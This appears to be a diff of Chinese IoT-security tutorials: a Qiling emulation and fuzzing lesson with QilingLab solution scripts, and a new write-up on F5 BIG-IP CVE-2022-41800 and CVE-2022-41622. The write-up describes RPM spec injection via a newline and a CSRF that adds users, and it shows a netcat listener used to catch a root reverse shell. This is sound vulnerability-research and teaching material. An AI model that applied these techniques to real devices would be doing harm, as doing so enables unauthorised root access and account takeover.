ql = Qiling(["x86_linux/bin/x86_fetch_urandom"], "x86_linux")
|
||||
ql.add_fs_mapper(r'/dev/urandom', FakeUrandom())
|
||||
ql.run()
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 函数hook
|
||||
|
||||
下面示例中,我们给str1和str2俩个变量内存中分别复制"abcdef"和"ABCDEF"字符串。正常执行完毕后会打印出"str1 大于 str2"。我们可以使用qiling框架劫持strcmp实现为hook strcmp函数的效果,使其执行到不同分支的结果。
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
//cd ./x8664_linux/
|
||||
//gcc demo.c -o test
|
||||
|
||||
int main ()
|
||||
{
|
||||
char str1[15];
|
||||
char str2[15];
|
||||
int ret;
|
||||
|
||||
strcpy(str1, "abcdef");
|
||||
strcpy(str2, "ABCDEF");
|
||||
ret = strcmp(str1, str2);
|
||||
|
||||
if(ret < 0)
|
||||
{
|
||||
printf("str1 小于 str2");
|
||||
}
|
||||
else if(ret > 0)
|
||||
{
|
||||
printf("str1 大于 str2");
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("str1 等于 str2");
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
以下代码为hook strcmp函数,并通过修改rax寄存器改变执行流程。
|
||||
|
||||
```
|
||||
from qiling import *
|
||||
from qiling.const import *
|
||||
|
||||
# 自定义strcmp hook函数。当程序执行strcmp函数退出时,会调用此函数,并且在比较完毕后,将 rax 寄存器的值修改为 0,表示相等。
|
||||
def hook_strcmp(ql,*args):
|
||||
# qiling框架的寄存器取值为ql.arch.reg.xxx
|
||||
rax = ql.arch.regs.rax
|
||||
print("hook_addr_rax:",hex(rax))
|
||||
ql.arch.regs.eax = 0 # 0:等于; -1:小于 ;1:大于
|
||||
|
||||
# 使用 ql.os.set_api 函数为 strcmp 设置hook函数,第一个参数为要hook的函数名,第二个参数为自定义hook函数,第三个参数为hook类型,这里为退出时触发hook函数。
|
||||
def hook_func(ql):
|
||||
ql.os.set_api('strcmp',hook_strcmp,QL_INTERCEPT.EXIT) # 也可以使用ql.hook_address()函数进行hook,使用方法为ql.hook_address(hook_strcmp,0xXXXXXXXX)
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["./x8664_linux/test"],"./x8664_linux",verbose=QL_VERBOSE.DEBUG)
|
||||
hook_func(ql)
|
||||
#ql.debugger = "gdb:0.0.0.0:12345"
|
||||
ql.run()
|
||||
```
|
||||
|
||||

|
||||
|
||||
定义hook函数时hook类型参数有以下三种:
|
||||
|
||||

|
||||
|
||||
# qiling使用实例
|
||||
|
||||
### 使用qiling解密CTF赛题
|
||||
|
||||
当我们掌握了最基础的三个用法后,我们可以测试一个简单的例子来加深对qiling框架的理解。以上一小节中unicorn解密ctf题目为例,我们先简单写一个运行脚本。这里的ql.debugger="gdb:0.0.0.0:12345"为开启gdbserver服务,我们可以使用ida或者gdb进行调试。
|
||||
|
||||

|
||||
|
||||
简单运行后发现程序和上一小节中unicorn的运行状况类似。由于这里我设置了multithead为True,所以这里会比上一小节中unicorn的解密速度快不少。但是还是在有限时间内只输出4个字符。
|
||||
|
||||

|
||||
|
||||
当我们将verbose设置为QL_VERBOSE.DISASM便可观察模拟执行的汇编指令,根据汇编指令我们明显看到程序在call 0x400670处进行了递归调用(或使用调试器调试查看),导致解密时间非常长。所以我们需要进行代码优化,思路为使用栈空间来保存一个不同输入参数以及对应计算结果的字典来避免重复计算。
|
||||
|
||||

|
||||
|
||||
这里qiling由于是由unicorn开发而来,所以很多用法和unicorn相似。
|
||||
|
||||
```
|
||||
from qiling import *
|
||||
from qiling.const import *
|
||||
from pwn import *
|
||||
|
||||
def hook_start(ql):
|
||||
arg0 = ql.arch.regs.rdi
|
||||
r_rsi = ql.arch.regs.rsi
|
||||
arg1 = u32(ql.mem.read(r_rsi,4))
|
||||
if (arg0,arg1) in direct:
|
||||
(ret_rax,ret_ref) = direct[(arg0,arg1)]
|
||||
ql.arch.regs.rax = ret_rax
|
||||
ql.mem.write(r_rsi,p32(ret_ref))
|
||||
ql.arch.regs.rip = 0x400582
|
||||
else:
|
||||
ql.arch.stack_push(r_rsi)
|
||||
ql.arch.stack_push(arg1)
|
||||
ql.arch.stack_push(arg0)
|
||||
|
||||
def hook_end(ql):
|
||||
arg0 = ql.arch.stack_pop()
|
||||
arg1 = ql.arch.stack_pop()
|
||||
r_rsi = ql.arch.stack_pop()
|
||||
ret_rax = ql.arch.regs.rax
|
||||
ret_ref = u32(ql.mem.read(r_rsi,4))
|
||||
direct[(arg0,arg1)] = (ret_rax,ret_ref)
|
||||
|
||||
def solve(ql):
|
||||
start_address = 0x400670
|
||||
end_address = 0x4006f1
|
||||
end_address2 = 0x400709
|
||||
ql.hook_address(hook_start,start_address)
|
||||
ql.hook_address(hook_end,end_address)
|
||||
ql.hook_address(hook_end,end_address2)
|
||||
|
||||
if __name__ == '__main__':
|
||||
path = ["./x8664_linux_symlink/test"]
|
||||
rootfs = "./x8664_linux_symlink"
|
||||
direct = {}
|
||||
ql = Qiling(path, rootfs,verbose=QL_VERBOSE.DEFAULT)
|
||||
solve(ql)
|
||||
ql.run()
|
||||
|
||||
```
|
||||
|
||||
运行后便会打印出解密结果。
|
||||
|
||||

|
||||
|
||||
除了上一小节中的ctf题目掌握qiling的使用外,我们还可通过qilinglab来加深对qiling框架的使用。qilingLab是由11个小挑战组成的二进制程序,用来帮助新手快速熟悉和掌握 Qiling 框架的基本用法。官方提供了aarch64程序的解题方法,我们根据这个作为参考解密一下x86_64架构的练习程序。
|
||||
|
||||
x86_64程序下载(https://www.shielder.com/attachments/qilinglab-x86_64)
|
||||
|
||||
首先运行程序,给我们提示,challenges会造成程序崩溃,只有当我们解出相应challenge后才会显示信息。
|
||||
|
||||

|
||||
|
||||
我们可以通过ida逆向以及编写qiling脚本进行动态调试来完成这些challenge。
|
||||
|
||||

|
||||
|
||||
最终的解密脚本如下:
|
||||
|
||||
```
|
||||
from qiling import *
|
||||
from pwn import *
|
||||
from qiling.const import *
|
||||
from qiling.os.mapper import QlFsMappedObject
|
||||
import os
|
||||
import struct
|
||||
|
||||
def hook_cpuid(ql, address, size):
|
||||
if ql.mem.read(address, size) == b'\x0F\xA2':
|
||||
regs = ql.arch.regs
|
||||
regs.ebx = 0x696C6951
|
||||
regs.ecx = 0x614C676E
|
||||
regs.edx = 0x20202062
|
||||
regs.rip += 2
|
||||
|
||||
def challenge11(ql):
|
||||
begin, end = 0, 0
|
||||
for info in ql.mem.map_info:
|
||||
#print("=====")
|
||||
#print(info)
|
||||
#print("=====")
|
||||
if info[2] == 5 and 'qilinglab-x86_64' in info[3]:
|
||||
begin, end = info[:2]
|
||||
#print("begin_addr",begin)
|
||||
#print("end_addr",end)
|
||||
ql.hook_code(hook_cpuid, begin=begin, end=end)
|
||||
|
||||
class cmdline(QlFsMappedObject):
|
||||
def read(self, expected_len):
|
||||
return b'qilinglab'
|
||||
|
||||
def close(self):
|
||||
return 0
|
||||
|
||||
def challenge10(ql):
|
||||
ql.add_fs_mapper('/proc/self/cmdline', cmdline())
|
||||
|
||||
def hook_tolower(ql):
|
||||
return 0
|
||||
|
||||
def challenge9(ql):
|
||||
ql.os.set_api('tolower', hook_tolower)
|
||||
|
||||
def find_and_patch(ql, *args, **kw):
|
||||
MAGIC = 0x3DFCD6EA00000539
|
||||
magic_addrs = ql.mem.search(p64(MAGIC))
|
||||
#print("magic_address:",hex(magic_addrs))
|
||||
|
||||
for magic_addr in magic_addrs:
|
||||
malloc1_addr = magic_addr - 8
|
||||
malloc1_data = ql.mem.read(malloc1_addr, 24)
|
||||
string_addr, _ , check_addr = struct.unpack("QQQ",malloc1_data)
|
||||
|
||||
if ql.mem.string(string_addr) == "Random data":
|
||||
ql.mem.write(check_addr, b"\x01")
|
||||
break
|
||||
|
||||
def challenge8(ql):
|
||||
base_addr = ql.mem.get_lib_base(os.path.split(ql.path)[-1])
|
||||
#print("base_addr",hex(base_addr))
|
||||
ql.hook_address(find_and_patch, base_addr+0xFB5)
|
||||
|
||||
def hook_sleep(ql):
|
||||
return 0
|
||||
|
||||
def challenge7(ql):
|
||||
ql.os.set_api('sleep',hook_sleep)
|
||||
|
||||
def hook_rax(ql):
|
||||
ql.arch.regs.rax = 0
|
||||
|
||||
def challenge6(ql):
|
||||
base_addr = ql.mem.get_lib_base(os.path.split(ql.path)[-1])
|
||||
#print("base_addr",hex(base_addr))
|
||||
hook_addr = base_addr + 0xF16
|
||||
ql.hook_address(hook_rax, hook_addr)
|
||||
|
||||
def hook_rand(ql):
|
||||
ql.arch.regs.rax = 0
|
||||
|
||||
def challenge5(ql):
|
||||
ql.os.set_api('rand',hook_rand)
|
||||
|
||||
def enter_forbidden_loop_hook(ql):
|
||||
ql.arch.regs.eax = 1
|
||||
|
||||
def challenge4(ql):
|
||||
base = ql.mem.get_lib_base(os.path.split(ql.path)[-1])
|
||||
hook_addr = base + 0xE43
|
||||
print("qiling binary hookaddr:",hex(hook_addr))
|
||||
ql.hook_address(enter_forbidden_loop_hook, hook_addr)
|
||||
|
||||
class FakeUrandom(QlFsMappedObject):
|
||||
def read(self, size: int) -> bytes:
|
||||
if size == 1:
|
||||
return b"\x42"
|
||||
else:
|
||||
return b"\x41" * size
|
||||
|
||||
def close(self) -> int:
|
||||
return 0
|
||||
|
||||
def hook_getrandom(ql, buf, buflen, flags):
|
||||
if buflen == 32:
|
||||
data = b'\x41' * buflen # b'\x41' = A
|
||||
ql.mem.write(buf, data)
|
||||
ql.os.set_syscall_return(buflen)
|
||||
else:
|
||||
ql.os.set_syscall_return(-1)
|
||||
|
||||
def challenge3(ql):
|
||||
ql.add_fs_mapper(r'/dev/urandom', FakeUrandom())
|
||||
ql.os.set_syscall("getrandom", hook_getrandom)
|
||||
|
||||
def my_uname_on_exit_hook(ql, *args):
|
||||
rdi = ql.arch.regs.rdi
|
||||
print(f"utsname address: {hex(rdi)}")
|
||||
ql.mem.write(rdi, b'QilingOS\x00')
|
||||
ql.mem.write(rdi + 65 * 3, b'ChallengeStart\x00')
|
||||
|
||||
def challenge2(ql):
|
||||
ql.os.set_api("uname", my_uname_on_exit_hook, QL_INTERCEPT.EXIT)
|
||||
|
||||
def challenge1(ql):
|
||||
ql.mem.map(0x1000, 0x1000, info='challenge1')
|
||||
ql.mem.write(0x1337, p16(1337))
|
||||
|
||||
if __name__ == '__main__':
|
||||
path = ["./x8664_linux/qilinglab-x86_64"]
|
||||
rootfs = "./x8664_linux"
|
||||
ql = Qiling(path, rootfs,verbose=QL_VERBOSE.OFF)
|
||||
challenge1(ql)
|
||||
challenge2(ql)
|
||||
challenge3(ql)
|
||||
challenge4(ql)
|
||||
challenge5(ql)
|
||||
challenge6(ql)
|
||||
challenge7(ql)
|
||||
challenge8(ql)
|
||||
challenge9(ql)
|
||||
challenge10(ql)
|
||||
challenge11(ql)
|
||||
#ql.debugger = "gdb:0.0.0.0:12345"
|
||||
ql.run()
|
||||
|
||||
```
|
||||
|
||||
运行后,所有的challenge都会显示SOLVED。
|
||||
|
||||

|
||||
|
||||
### qiling设备仿真
|
||||
|
||||
qiling提供了路由器仿真案例,该脚本路径为qiling/example路径下
|
||||
|
||||
```
|
||||
#!/usr/bin/env python3
|
||||
# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
|
||||
# 2. unzip
|
||||
# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
|
||||
# 4. locate squashfs-root
|
||||
# 5. rm -rf webroot && mv webroot_ro webroot
|
||||
#
|
||||
# notes: we are using rootfs in this example, so rootfs = squashfs-root
|
||||
#
|
||||
import os, socket, threading
|
||||
import sys
|
||||
sys.path.append("../../../")
|
||||
from qiling import Qiling
|
||||
# 从qiling.const中导入QL_VERBOSE,指定qiling的日志输出级别
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
# 定义patcher函数,用于跳过网卡信息检测。在前面小节我们仿真tenda路由器时,路由器httpd程序在初始化网络时会检查网卡名称是否为br0。这里脚本直接将代码执行前内存中的br0字符串替换成了lo,从而跳过检查。
|
||||
def patcher(ql: Qiling):
|
||||
br0_addr = ql.mem.search("br0".encode() + b'\x00')
|
||||
for addr in br0_addr:
|
||||
ql.mem.write(addr, b'lo\x00')
|
||||
|
||||
# 定义nvram_listener函数,使用该函数监听Unix套接字,并在收到消息时返回数据。
|
||||
def nvram_listener():
|
||||
server_address = 'rootfs/var/cfm_socket'
|
||||
data = ""
|
||||
try:
|
||||
os.unlink(server_address)
|
||||
except OSError:
|
||||
if os.path.exists(server_address):
|
||||
raise
|
||||
|
||||
sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
|
||||
sock.bind(server_address)
|
||||
sock.listen(1)
|
||||
while True:
|
||||
connection, _ = sock.accept()
|
||||
try:
|
||||
while True:
|
||||
data += str(connection.recv(1024))
|
||||
if "lan.webiplansslen" in data:
|
||||
connection.send('192.168.170.169'.encode())
|
||||
else:
|
||||
break
|
||||
data = ""
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
# 定义myvfork函数,仿真程序在执行系统调用vfork时被调用,返回值0。
|
||||
def myvfork(ql: Qiling):
|
||||
regreturn = 0
|
||||
ql.log.info("vfork() = %d" % regreturn)
|
||||
return regreturn
|
||||
# 仿真主函数,生成qiling实例和添加VFS映射。
|
||||
def my_sandbox(path, rootfs):
|
||||
print("path:",path)
|
||||
print("rootfs",rootfs)
|
||||
ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)
|
||||
print("ql:",ql)
|
||||
ql.add_fs_mapper("/dev/urandom","/dev/urandom")
|
||||
ql.hook_address(patcher, ql.loader.elf_entry)
|
||||
ql.debugger = False
|
||||
if ql.debugger == True:
|
||||
ql.os.set_syscall("vfork", myvfork) # vfork函数返回0时,debugger可正常调试。
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
# 创建后台运行的线程并执行,以便收到Unix套接字的消息时进行响应。
|
||||
nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True)
|
||||
nvram_listener_therad.start()
|
||||
# 运行仿真实例
|
||||
my_sandbox(["rootfs/bin/httpd"], "rootfs")
|
||||
|
||||
```
|
||||
|
||||
当我们运行脚本后,会显示路由器的ip和端口,当我们发现本地的8080正在监听时,说明设备已经仿真成功。
|
||||
|
||||

|
||||
|
||||
仿真成功后可访问[http://localhost:8080查看效果:](http://localhost:8080查看效果:)
|
||||
|
||||

|
||||
|
||||
在后面的小节中,我们会学习对仿真路由器设备进行fuzz。其中最为重要的一步便是编写仿真脚本,后续在我们分析好固件程序中要fuzz地址范围后,只有仿真设备可以顺利触发保存快照的功能,才可保证fuzz的正确性。
|
||||
|
||||
### qiling fuzz
|
||||
|
||||
qiling框架可以使用AFLplusplus对arm架构程序进行fuzz测试,测试代码如下:
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
// Program that will crash easily.
|
||||
#define SIZE (10)
|
||||
|
||||
int fun(int i)
|
||||
{
|
||||
char *buf = malloc(SIZE);
|
||||
char buf2[SIZE];
|
||||
|
||||
while ((*buf = getc(stdin)) == 'A')
|
||||
{
|
||||
buf[i++] = *buf;
|
||||
}
|
||||
strncpy(buf2, buf, i);
|
||||
puts(buf2);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
return fun(argc);
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
qiling提供的fuzz脚本如下:
|
||||
|
||||
```
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple example of how to use Qiling together with AFLplusplus.
|
||||
This is tested with the recent Qiling framework (the one you cloned),
|
||||
afl++ from https://github.com/AFLplusplus/AFLplusplus
|
||||
|
||||
After building afl++, make sure you install `unicorn_mode/setup_unicorn.sh`
|
||||
|
||||
Then, run this file using afl++ unicorn mode with
|
||||
afl-fuzz -i ./afl_inputs -o ./afl_outputs -m none -U -- python3 ./fuzz_x8664_linux.py @@
|
||||
"""
|
||||
|
||||
# No more need for importing unicornafl, try ql.afl_fuzz instead!
|
||||
|
||||
import sys, os
|
||||
from binascii import hexlify
|
||||
sys.path.append("../../..")
|
||||
from qiling import *
|
||||
from qiling.extensions import pipe
|
||||
from qiling.extensions.afl import ql_afl_fuzz
|
||||
|
||||
def main(input_file, enable_trace=False):
|
||||
ql = Qiling(["./arm_fuzz"], "../../rootfs/arm_qnx", console=enable_trace)
|
||||
# 设置ql的标准输入为进程的标准输入
|
||||
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
|
||||
# 如果没有启用控制台追踪,则将标准输出和标准错误流设置为Null
|
||||
if not enable_trace:
|
||||
ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno())
|
||||
ql.os.stderr = pipe.NullOutStream(sys.stderr.fileno())
|
||||
|
||||
def place_input_callback(ql: Qiling, input: bytes, _: int):
|
||||
# 设置fuzz输入点
|
||||
ql.os.stdin.write(input)
|
||||
return True
|
||||
|
||||
def start_afl(_ql: Qiling):
|
||||
# 设置fuzz实例
|
||||
ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
|
||||
|
||||
# 获取libc的基地址
|
||||
LIBC_BASE = int(ql.profile.get("OS32", "interp_address"), 16)
|
||||
# 设置hook函数,用于处理SignalKill信号
|
||||
ql.hook_address(callback=lambda x: os.abort(), address=LIBC_BASE + 0x38170)
|
||||
# main函数地址
|
||||
main_addr = 0x08048aa0
|
||||
# 设置hook函数,在main函数运行时调用start_afl函数
|
||||
ql.hook_address(callback=start_afl, address=main_addr)
|
||||
|
||||
# 若启用控制台追踪,则将设置相关信息输出
|
||||
if enable_trace:
|
||||
# The following lines are only for `-t` debug output
|
||||
md = ql.arch.disassembler
|
||||
count = [0]
|
||||
def spaced_hex(data):
|
||||
return b' '.join(hexlify(data)[i:i+2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8')
|
||||
|
||||
def disasm(count, ql, address, size):
|
||||
buf = ql.mem.read(address, size)
|
||||
try:
|
||||
for i in md.disasm(buf, address):
|
||||
return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic,
|
||||
i.op_str)
|
||||
except:
|
||||
import traceback
|
||||
print(traceback.format_exc())
|
||||
|
||||
def trace_cb(ql, address, size, count):
|
||||
rtn = '{:100s}'.format(disasm(count, ql, address, size))
|
||||
print(rtn)
|
||||
count[0] += 1
|
||||
|
||||
ql.hook_code(trace_cb, count)
|
||||
|
||||
# okay, ready to roll.
|
||||
# try:
|
||||
ql.run()
|
||||
# except Exception as ex:
|
||||
# # Probable unicorn memory error. Treat as crash.
|
||||
# print(ex)
|
||||
# os.abort()
|
||||
os._exit(0) # that's a looot faster than tidying up.
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 1:
|
||||
raise ValueError("No input file provided.")
|
||||
if len(sys.argv) > 2 and sys.argv[1] == "-t":
|
||||
main(sys.argv[2], enable_trace=True)
|
||||
else:
|
||||
main(sys.argv[1])
|
||||
|
||||
```
|
||||
|
||||
AFLplusplus执行脚本如下:
|
||||
|
||||
```
|
||||
#!/usr/bin/sh
|
||||
AFL_AUTORESUME=1 AFL_PATH="$(realpath ../../../AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_arm_qnx.py @@
|
||||
|
||||
```
|
||||
|
||||
运行后fuzz.sh后,便会出现afl++ 运行界面,等待几秒后便出现crash。
|
||||
|
||||

|
||||
|
||||
crash的变异数据存放在afl_outputs目录下,我们可以使用xxd id:000000,xxxxxx命令查看变异数据。
|
||||
|
||||
```
|
||||
#xxd id:000000,sig:06,src:000000,time:4112,execs:1077,op:havoc,rep:8
|
||||
00000000: 4141 4141 4141 4141 4141 4141 ff7f 4241 AAAAAAAAAAAA..BA
|
||||
00000010: 4141 4145 4141 be41 4dff 0000 0041 4141 AAAEAA.AM....AAA
|
||||
00000020: 41
|
||||
|
||||
```
|
||||
|
||||
——The End——
|
||||
|
||||
# 总结
|
||||
|
||||
在这一小节中,我们简单学习了qiling框架,我们使用ctf例题以及qilinglab的11个闯关题目进行练习,熟练掌握了qiling框架的基础使用。后面的小节中,我们将使用qiling框架对仿真设备进行实例fuzz测试。
|
||||
@@ -0,0 +1,204 @@
|
||||
# 物联网安全从零开始-BIG-IP CVE漏洞分析
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/334
|
||||
|
||||
# 背景
|
||||
2022年11月16日,F5官方公布了F5 BIG-IP和BIG-IQ设备中的多个安全漏洞。其中高危漏洞(CVE-2022-41622,CVSS评分8.8)是iControl SOAP跨站点请求伪造,可允许未经身份验证的远程代码执行攻击。高危漏洞(CVE-2022-41800,CVSS评分8.7)为iControl REST远程代码执行漏洞,允许经过身份验证的管理员用户通过RPM注入执行任意代码。
|
||||
|
||||

|
||||
|
||||
受CVE-2022-41622影响的版本为:
|
||||
|
||||
```
|
||||
BIG-IP:17.0.0
|
||||
BIG-IP:16.1.0-16.1.3
|
||||
BIG-IP:15.1.0-15.1.8
|
||||
BIG-IP:14.1.0-14.1.5
|
||||
BIG-IP:13.1.0-13.1.5
|
||||
BIG-IQ:8.0.0-8.2.0
|
||||
BIG-IQ:7.1.0
|
||||
|
||||
```
|
||||
受CVE-2022-41800影响的版本为:
|
||||
|
||||
```
|
||||
BIG-IP:17.0.0
|
||||
BIG-IP:16.1.0-16.1.3
|
||||
BIG-IP:15.1.0-15.1.8
|
||||
BIG-IP:14.1.0-14.1.5
|
||||
BIG-IP:13.1.0-13.1.5
|
||||
|
||||
```
|
||||
BIG-IP 设备默认有俩个用户(终端用户和web用户),在配置设备信息时由于系统对web端用户的密码没有什么严格要求(如必须数字、字母组合、特殊符号等等),可能会导致攻击者可以爆破出web端用户密码,加上今年5月刚爆出的CVE-2022-1388未授权绕过漏洞几乎为同型号设备,这就使得俩个web用户导致的pre-auth漏洞很容易被利用。
|
||||
|
||||
# 环境搭建
|
||||
|
||||
本小节使用的漏洞环境固件为BIG-IP,漏洞版本号为16.1.0。在靶场中调用BIG-IP后,BIG-IP会自动分配出mgmt口的IP地址。
|
||||
|
||||

|
||||
|
||||
在浏览器端使用(admin/admin)登录后,如下图所示:
|
||||
|
||||

|
||||
|
||||
# 漏洞分析
|
||||
|
||||
BIG-IP的管理模式有多种,包括web页面,tmsh命令行,rest api,以及soap api。soap api数据交换格式为soap/xml。rest api数据交换格式使用http/json。soap api为比较旧的技术,在版本11.6中已经放弃维护,目前支持正常使用,rest api目前官方一直在推荐用户使用和开发。cve-2022-41622为csrf漏洞,漏洞本身危害不大,但是由于在漏洞利用过程中可以使用soap api接口进行操作从而rce。cve-2022-41800为iControl rest容易受到rpm注入攻击导致rce。
|
||||
|
||||
明白了漏洞利用的方法,下面我们开始分析。进入BIG-IP终端,BIG-IP默认开启ssh服务,我们可以使用"scp -r root@ip:/* ./"命令将BIG-IP的所有文件拷贝到本地进行分析。BIG-IP中程序运行的httpd服务为apache
|
||||
|
||||

|
||||
|
||||
### CVE-2022-41800
|
||||
|
||||
我们在"etc"目录简单查看一下,在"init.d"目录下发现了httpd启动服务的httpd脚本,脚本注明为apache server并且配置文件的位置为"/etc/httpd/conf/httpd.conf"。
|
||||
|
||||

|
||||
|
||||
查看一下配置文件,我们发现httpd接受请求,并将请求转发到不同端口的服务上完成对应的处理。下图中AuthPAM开启,说明调用了httpd的某个".so" 文件进行预先的认证,并且将所有向 /mgmt 发送的请求都转发到了 "http://localhost:8100/mgmt/"。
|
||||
|
||||

|
||||
|
||||
在16.1.0的官方文档中,简单翻阅我们得知所有REST API的uri中都是含有 "mgmt" 的。
|
||||
|
||||

|
||||
|
||||
查看一下8100端口的服务,发现有java服务在监听
|
||||
|
||||

|
||||
|
||||
查看一下pid信息,发现java的"-classpath"参数后为"usr/share/java/rest"和"usr/share/java/rest/libs"目录下的所有jar包,且"--port"参数为8100。
|
||||
|
||||

|
||||
|
||||
如果要动态调试java程序,我们可以修改"etc/bigstart/scripts/restjavad",在jvm_options后附加"-agentlib:jdwp=transport=dt_socket,address=1043,server=y,suspend=n"选项,并且使用Idea配置好ip、port后进行远程调试。
|
||||
|
||||
注意:防火墙默认策略为禁止,动态调试需要放行调试端口
|
||||
|
||||

|
||||
|
||||
RestServerServlet 是整个 iControle REST 的入口,在其"service"方法中"RestServerServlet" 异步执行,注册了一个 "ReadListener"。而且会在处理请求时,为每一个请求创建了一个 "RestOperation",并且后续处理将以回调的方式执行。
|
||||
|
||||

|
||||
|
||||
这里会检测请求中是否包含相关认证,并将其设置到 "RestOperation" 中。
|
||||
|
||||

|
||||
|
||||
调用setIdentityFromBasicAuth方法后,并且basic认证的value不为空便会进入setIdentityData,在比较userName和userReference都不为空时,最后在completeEvaluatePermission中比较完成后完成身份认证过程。
|
||||
|
||||

|
||||
|
||||
随后"trySendInProcess" 中会根据请求端口来寻找相关的 "RestWorker" 。在 findWorker() 方法中,将以请求路径为查询条件,匹配 RestServer 的 pathToWarkerMap 。之后便会执行 worker.onRequest() 方法,将worker添加到 RestServer.readyWorkerSet 中。后面会以该 Set 为消费者队列,并执行各个worker。
|
||||
|
||||

|
||||
|
||||
"RestServer" 中主要工作是维护队列,并执行相关的worker。入口点为其构造方法:
|
||||
|
||||

|
||||
|
||||
processQueueRequests后面运行到 "callDerivedRestMethod" 方法,这里便会调用对应worker的处理方法并完成对应的链调用。
|
||||
|
||||

|
||||
|
||||
在官方文档中,有开发编写worker的例子,流程如下,在worker中我们发现WORKER_URI_PATH为uri中/mgmt/"后面的的地址。
|
||||
|
||||

|
||||
|
||||
根据"WORKER_URI_PATH"字符串,我们可以简单搜索一下系统中的worker,结果如下图所示。这里WORKER_URI_PATH为"shared/iapp/rpm-spec-creator"就是生成spec文件的worker
|
||||
|
||||

|
||||
|
||||
打开"iAppRpmSpecFileCreatorWorker.js"worker的文件,发现加载了"../infrastructure/specFileCreator"模块,并使用SpecWriter变量调用,随后new了一个specWriter
|
||||
|
||||

|
||||
|
||||
java中的onPost方法传进来的restOperation,先getBody获取内容,并且调用_validate进行判断,随后使用specWriter.render进行格式化,最后调用getFs().writeFile生成".spec"文件
|
||||
|
||||

|
||||
|
||||
生成spec文件的名字如下。
|
||||
|
||||

|
||||
|
||||
_validate对传进来的内容进行判断,如判断body是否为空,header是否存在"application/json",取出specFileData的json内容并进行判断,判断是否有name、summary、version、release、description、srcBasePath字符等等。这里便是漏洞点,漏洞成因便是没有对用户传来的json数据进行判断,导致攻击者可以通过"\n"特殊字符进行绕过。
|
||||
|
||||

|
||||
|
||||
在进行格式化时,使用specFileCreator.js模块。这里使用了doT.js模板,模板path为"./resources"。doT.js 灵感来源于搜寻基于 V8 和 Node.js ,强调性能,最快速最简洁的 JavaScript 模板函数。它在 Node.js 和浏览器两端都彰显出卓越的性能。下图中specFileData调用specTemplate格式化json数据
|
||||
|
||||

|
||||
|
||||
doT.js模板如下,当攻击者传来的数据"description"后面跟着"\n"是,spec文件就变得攻击者可控,可随意添加恶意数据,如调用"%check\n'command'"执行系统命令。
|
||||
|
||||

|
||||
|
||||
当我们再次通过rest api进行build-package 时,就会执行spec文件中的恶意命令
|
||||
|
||||

|
||||
|
||||
### CVE-2022-41622
|
||||
|
||||
CVE-2022-41622为CSRF漏洞,CSRF漏洞的成因是网站的已认证通过信息在浏览器中一段时间内不会过期,以后只要是访问这个网站,会默认用你已经通过的认证信息来进行,所以不用再次登录。如果攻击者发送了构造好的CSRF脚本或包含CSRF脚本的链接,管理者点击后可能会执行恶意操作(比如是添加账号、获取信息等)。
|
||||
|
||||
漏洞程序为 "/iControl/iControlPortal.cgi",并且该程序为suid权限。
|
||||
|
||||

|
||||
|
||||
csrf漏洞本身的成因比较简单,没有对Content-Type以及Referer进行验证,以及Token机制不完善。
|
||||
|
||||

|
||||
|
||||
下面说一下漏洞利用。在前面我们已经分析了CVE-2022-41800漏洞,这里的CVE-2022-41622与前面的利用过程类似,这里只不过是利用soap api进行发送soap请求。当我们在http中用soap方式发送xml数据去调用一个服务时,我们只知道通用的http协议的传参方式还是不够的,我们仍然需要知道目标服务的接口文档。在soap中每个服务都有的接口文档就是一个用wsdl规范编写的wsdl文档,当程序接收到soap请求后根据wsdl文档进行解析执行。
|
||||
|
||||

|
||||
|
||||
下图为添加用户请求的wsdl文件为"Management.UserManagement.wsdl"
|
||||
|
||||

|
||||
|
||||
这样我们在pre-auth的情况下就可以发送创建用户的请求来创建用户,当然我们也可以构造其他的请求(如上传文件)
|
||||
|
||||

|
||||
|
||||
# 漏洞复现
|
||||
|
||||
### CVE-2022-41800
|
||||
|
||||
使用rest api调用rpm-spec-creator创建spec文件并查看。
|
||||
|
||||

|
||||
|
||||
使用"nc -lvp 4444"命令监听4444端口
|
||||
|
||||

|
||||
|
||||
使用rest api调用build-package 构建package包裹。
|
||||
|
||||

|
||||
|
||||
此时已经获到shell,并且是root权限。
|
||||
|
||||

|
||||
|
||||
### CVE-2022-41622
|
||||
|
||||
将csrf.html目录使用python启动http服务
|
||||
|
||||

|
||||
|
||||
假设管理员使用账号密码登录BIG-IP web管理页面,此时点击了我们启动http服务的链接,链接自动跳转到"https://192.168.141.152/iControl/iControlportal.cgi"并提交soap请求
|
||||
|
||||

|
||||
|
||||
用户已经添加成功
|
||||
|
||||

|
||||
|
||||
使用我们设置好的用户名和密码进行登录。
|
||||
|
||||

|
||||
|
||||
# 总结
|
||||
|
||||
